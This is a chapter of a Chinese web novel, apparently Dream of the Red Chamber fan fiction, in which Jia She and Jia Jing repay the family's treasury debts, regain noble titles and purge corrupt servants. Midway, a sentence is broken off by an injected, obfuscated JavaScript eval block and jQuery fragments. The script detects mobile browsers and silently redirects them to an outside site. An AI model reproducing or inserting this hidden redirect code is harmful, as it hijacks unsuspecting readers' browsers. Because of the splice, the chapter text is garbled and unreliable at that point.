60.第 60 章
作品:《[红楼]今天,林姑娘还活着吗?》 王夫人入刑部大牢,核查无误秋后问斩。
贾政教妻无方,念其祖上功绩,贬为太常寺秉笔帖式。
贾赦虽管家不严,然为国分忧,特恩准再袭一代国公,子贾琏封户部郎中,即日任职。
又发卖了一批眼高手低签了卖身契奴仆的贾赦接过圣旨谢恩后痛哭一场,直接红光满面去挂敕造荣国府牌匾。
不过还了一百多万的欠款,竟恢复了祖宗荣耀,就是琏儿都得了实职。
早知能得如此厚赏,他就该抄了这些奴仆还债,何至于整日瞧贾老二那个不正经的住荣禧堂。
待冷静下来,贾赦也知这是天缘凑巧,时机合宜。
且不说他家欠了百万之巨,京中、朝中哪家没欠国库的银子。
远了不说,姻亲中王家也欠了八十万两,其余六公亦没少欠,便是这些都有几百万两银子。
更遑论满朝文武官员乃至王公贵族加起来,足以抵全国数年税收。
放在开疆拓土的帝王身上,国土都得再添几成;放在励精图治的帝王身上,百姓便能少些赋税;便是放在享乐的帝王身上都能多盖好几个美轮美奂的园子。
这些,用不着贾赦操心。
他现在只想着还有没有胆大包天的奴仆能让他抄一抄,有什么古籍字画是妹夫与外甥女喜欢的。
因手头阔绰,贾赦不止将崔氏的嫁妆全交给贾琏,自己还贴补了不少好东西,好入职后打点送礼。
便是邢夫人与迎春同大姐儿都得了不少物件。
一时搬进荣禧堂东院的一家人欢声笑语不断。
不同于贾赦想的明白,眼下不喜大儿子裁撤丫鬟、抄奴仆家的贾母听闻旨意,一时呆住。
能恢复祖上荣光,贾母是乐见其成的,只是这人怎不是自己最疼爱的政儿。
若早些年她不怕得罪四王八公,不怕得罪百朝文武,直接让贾政还了欠银是不是也能得此殊荣?
可万事没有如果。
甚至于听着休沐归家的宝玉哭泣,贾母恍恍惚惚生出一个念头。
她的坚持是否从一开始就是错?
不,都怪王氏那个蠢货!
若非她犯了这样多的错事,她的政儿又怎会被牵连到成了八品官。
从自我怀疑到找到人发泄恨意的不止贾母一个。
贾政听闻大哥父子一个又成了荣国公,一个做了五品户部郎中,恨不能当即追去大牢勒死王氏。
若非王氏作妖,哪怕比不了大哥,他的官位怎也要比侄儿高。
贾琏都成了正五品的户部郎中,若无王氏,他定能升为工部侍郎。
且不说他兢兢业业为官多年,便是封一甲的授官都在七品。
太常寺秉笔帖式!
李纨再度重燃希望,吩咐心腹几句,径直寻上贾政,“求老爷为儿孙计,休妻吧。”
只要休了王氏,她的最便落不到贾府,她的兰儿还能考科举。
贾政心中意动,自诩正人君子,学圣人言的他怎好应和守寡的儿媳说辞,只能冠冕堂皇两句,撵人回去照看兰儿。
李纨心中惴惴,老爷究竟是什么章程?
且不说荣国府内部心思各异,这封旨意让不少老臣觉得元庆帝也并未半点不顾及老臣。
瞧瞧,贾赦那马棚将军,哦,如今要喊荣国公了,不过是大义灭亲,检举自家,又还个欠银,竟恢复了祖上荣耀。
自当年开国帝王封了四王八公后,除了横空出世的代国公府,谁有此殊荣。
无需上阵杀敌,无需抛头颅洒热血,只不过大义灭亲,还了欠银,就得了国公。
有觉得元庆帝此举乃是看重、安抚老臣,便有觉得封赏太过,虽说还欠银有功,可怎能大到进封国公。
更多的则是开始揣测帝王深意。
当初听闻元庆帝直接抄了甄家,不少老臣上奏或跪大明宫哭求。
一来,甄家干的那些事中不严重的,谁家没干过几件。
二来,甄家不止出了甄贵太妃,更有四皇子生母甄贵妃,有两位帝王宠妃乃至一位皇子外甥的大族说抄就抄,那他们岂不是都得洗干净脖子等着。
偏太上皇不理,元庆帝也压着折子不动。
眼下有贾赦这一出,反倒让不少老臣安了心。
元庆帝那里不论,至少太上皇还记得他们这一众老臣的好。
也有欠的多的,见贾赦得了一等公的赏赐,贾琏成了五品的户部郎中,动了心思。
若自家还了欠款,且不说能不能恢复祖宗荣耀,儿孙可能入朝为官?
当然也有欠款大户,心中恨透了贾赦一声不吭就主动还欠银。
这些人里便有被贾赦唤来的贾珍,以及得了消息匆忙下山的贾敬。
贾珍原本梗着脖子不认同此事,被贾敬好一通抽,他隔空投递传送的爵位是让这样糟蹋的?
不说别家,两府同宗同源,岂能在这种时候不表态。
无论能不能得到赏赐,能借着还欠银将府中整肃一遍亦是除去不小隐患。
有贾敬盯着,宁国府动作很快,先是上了请罪折子与还欠银的折子。
随即便借了贾赦的亲兵抄了赖升等几个管事奴仆的家,这一抄抄的贾敬几欲将贾珍父子打死。
不说旁人,赖升一家就抄出了二十五万两银子,还不算旁的古董字画。
满府奴仆震惊之际,唯一个焦大又喝的烂醉骂赖二自作孽不可活。
众人呵斥不听,贾蓉想着祖父好容易回来,便也不忍上前骂两句,命人捆起来醒酒。
焦大并不把贾蓉放在眼里,开始诉功绩,说哭太爷去,到最后更是嚷起来,每日偷鸡摸狗,养小叔子的养小叔子。
若真肃清,咱就别胳膊折了往袖子里藏!
恰好贾敬听闻,再度拎了贾珍父子过来问话,这一问险些将自己气晕过去。
“他一个工部营缮郎能养出让阖府女眷夸赞的女儿?”
有贼心尚未实施的贾珍想反驳一句,触及自家老父亲恨不能活吞了他的眼神,只能认错。
贾敬恨不能打死儿孙,却也知打死亦无济于事,好在错不全是自家儿孙的,冷着一张脸替他们善后。
能活,还能好好的体体面面的活,谁愿意死呢。
眼见要跌入万丈深渊的秦可卿直接应了贾敬的条件。
有贾赦看顾,贾敬的折子与欠银还的也很快。
无需贾赦提醒,贾敬同样算了最高的利息,带着装满古董字画的车一车车拉入户部。
这份乖觉与逆转口碑效果让元庆帝满意。
再看入库的百万欠银,既你贾敬有本事,那就回来继续做的你父的一等神威将军,好好整顿府邸。
宁国府紧随其后归还欠银,同样复了祖辈荣光,一时不少人家心头火热。
让他们从自己兜里掏银子不容易,但谁家没些养久了不识主的奴仆。
有贾赦、贾敬两兄弟打样,他们抄奴才家可谓惩恶扬善,即便抄家银子不够,也比全自己出强。
万一能得元庆帝看重,又复祖上荣光呢?
这等事主打一个赶早不赶晚,晚了连肉汤都分不到。
一时不少贵族偷偷摸摸抄起自家奴仆来。
听着登门口风皆是准备效仿还银或是怎不一同商议,咱们一起的各家老亲。
贾母再度恍惚了,这……连同气连枝的老亲都没得罪?
至于当心腹用了多年的赖家,她愿意给一二体面,但赖家敢贪这么多银子,全以死谢罪才好。
不过贾赦可舍不得这些人去死,发卖了又是一笔银子。
非贾赦多爱财,实在是这忙碌的日子里,凤姐儿被诊出有孕。
没有嫡孙,没有继承人,有再多的荣耀与银子都是给别人存的。
可眼下不同了,贾赦不止点了心腹之人去照
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039141|173618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顾凤姐儿,更是将好东西流水似的送去。
甚至怕人心思重,直言这一胎是男是女不重要,万不可因此多心。
贾赦这一操作,别说凤姐儿被感动的泪眼婆娑,便是贾琏都忍不住心里发酸,悄悄摸着凤姐儿肚子道:“乖儿子,给爹争口气。”
其实并非贾赦不看重孙子,只是眼下才调了一年便有孕,未来没了加害的王氏,他想抱几个孙子没有。
得此消息,不止迎春、惜春时常带着大姐儿玩乐的同时做起虎头鞋,便是探春都绣了不少小衣裳。
丈夫得了官身,府中银钱充足,没了难缠的婆子掣肘,公婆体贴,姑嫂和睦,凤姐儿一时只觉神仙日子也不过如此。
人过得好,心境也会随之开阔,想着往日,凤姐儿时不时便让迎春唤了探春来,便是与贾琏独处时也提一嘴年岁相近的探春。
这番话惹得贾琏抚着凤姐儿还平坦的小腹道:“我家奶奶越发像那被人顶礼膜拜的菩萨。”
春风得意的凤姐儿不想做菩萨,她虽有了忌惮,却从不是个心慈手软的。
“我是想为二爷,大姐儿与肚里的哥儿着想。探春是个有才能的,若寻个不错的夫婿,未来只会对二爷有利。”
尚不知自己整日绣些衣物管用的探春开始将目光放在贾环身上。
时不时暗中想这些年是不是看错了人,选错了路。
庶女难不难做,别家府邸中的探春不知。
但她有迎春这个木头人的姐姐做比较,当年无人管一同丢在贾母处的隐形人,而今却成了国公府唯一嫡女。
早在凤姐儿与迎春日日请安的日子里,邢夫人将迎春记在名下。
或许是因林姐姐,也或者是因常去邢夫人处,如今迎春虽依旧淡淡,却再不是那个被奶嬷嬷欺负而不敢开口的二姑娘。
不同于探春感叹府中变化。
已在外上任的赖尚荣得了消息,当即上了折子控诉,且不说他乃官身,就是个平头百姓也不能直接抄家。
贾府此行径不妥!
贾赦半点不惧,直接让底下人出去散话,“一个才上任一年的官,是如何攒下四十万两银子的家业。”
这得多贪?
除了被开恩放出去谋了官的赖尚荣以外,赖家全是签了卖身契的奴才。
一个奴才,若主子心善,瞧你兢兢业业干上一辈子赏赐点,无伤大雅。
可哪有赏赐四十万两银子的。
早就得了林如海传话的同僚当即拿出赖尚荣在任期间欺男霸女的恶行,控诉不成的赖尚荣直接被撸了官。
贾府这种种变故,惊呆了住在府里的薛姨妈一家。
自知晓女儿无法入宫,薛姨妈在王夫人的暗示下送了不少银钱过去,默默散了金玉良缘一说。
可如今,贾府分家,贾政成了八品小官,宝玉也瞧不出什么出息。
薛姨妈揽着宝钗哭,“我的儿,如今你该……都是妈害了你。”
“妈,咱们收拾收拾改日搬出去吧。”总不能等着人家赶。
至于宝玉,她本就没放多少心思,没了也好,或许还能有更好的缘分。
“可,咱们给了你姨妈,”咱们入京本就是寻庇护。
宝钗赶忙呵住,“银钱已要了回来,妈不必再提,还是给舅舅去封信。”
“对对对,还有你舅舅。”说罢,薛姨妈欢喜回去琢磨如何给自家哥哥去信。
若舅舅想她们去,不说入京之初,便是上次也该接了走。
让妈碰碰壁也好,总不能别人随便说两句便撒了银子去。
自家遭不住这样撒银子,宝钗看向莺儿,“待哥哥回来说我有事寻他。”
宝钗随即扫视一圈,“香菱呢?”
莺儿赶忙开口,“姑娘不是说喜欢慧纹绣法,这几日香菱正钻研呢。”
没乱跑就好,宝钗点点头,“你且多瞧着些,莫要出了岔子。”